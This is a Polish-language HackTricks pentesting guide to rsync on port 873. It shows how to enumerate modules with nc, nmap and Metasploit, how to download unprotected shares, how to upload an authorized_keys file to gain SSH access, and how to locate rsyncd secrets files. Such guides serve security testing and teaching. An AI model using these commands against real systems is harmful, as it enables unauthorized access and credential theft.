873 - Pentesting Rsync
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Z wikipedia:
rsync to narzędzie do efektywnego przesyłania i synchronizowania plików między komputerem a zewnętrznym dyskiem twardym oraz w sieci komputerów poprzez porównywanie czasów modyfikacji i rozmiarów plików.[3] Jest powszechnie stosowany w systemach operacyjnych podobnych do Unix. Algorytm rsync to rodzaj kodowania delta i jest używany do minimalizowania wykorzystania sieci. Zlib może być używany do dodatkowej kompresji danych,[3] a SSH lub stunnel mogą być używane dla bezpieczeństwa.
Domyślny port: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeracja
Baner i komunikacja ręczna
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerowanie Wspólnych Folderów
Moduły Rsync są rozpoznawane jako udziały katalogów, które mogą być chronione hasłami. Aby zidentyfikować dostępne moduły i sprawdzić, czy wymagają haseł, używa się następujących poleceń:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Bądź świadomy, że niektóre udostępnienia mogą nie pojawić się na liście, co może je ukrywać. Dodatkowo, dostęp do niektórych udostępnień może być ograniczony do określonych poświadczeń, co jest wskazywane przez komunikat "Dostęp zabroniony".
Brute Force
Ręczne użycie Rsync
Po uzyskaniu listy modułów, działania zależą od tego, czy potrzebna jest autoryzacja. Bez autoryzacji, wyświetlanie i kopiowanie plików z udostępnionego folderu do lokalnego katalogu osiąga się poprzez:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Ten proces rekursywnie przesyła pliki, zachowując ich atrybuty i uprawnienia.
Z danymi uwierzytelniającymi, wylistowanie i pobranie z udostępnionego folderu można wykonać w następujący sposób, gdzie pojawi się monit o hasło:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Aby przesłać zawartość, taką jak plik authorized_keys do uzyskania dostępu, użyj:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Aby zlokalizować plik konfiguracyjny rsyncd, wykonaj:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
W tym pliku parametr secrets file może wskazywać na plik zawierający nazwy użytkowników i hasła do uwierzytelniania rsyncd.
Odniesienia
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.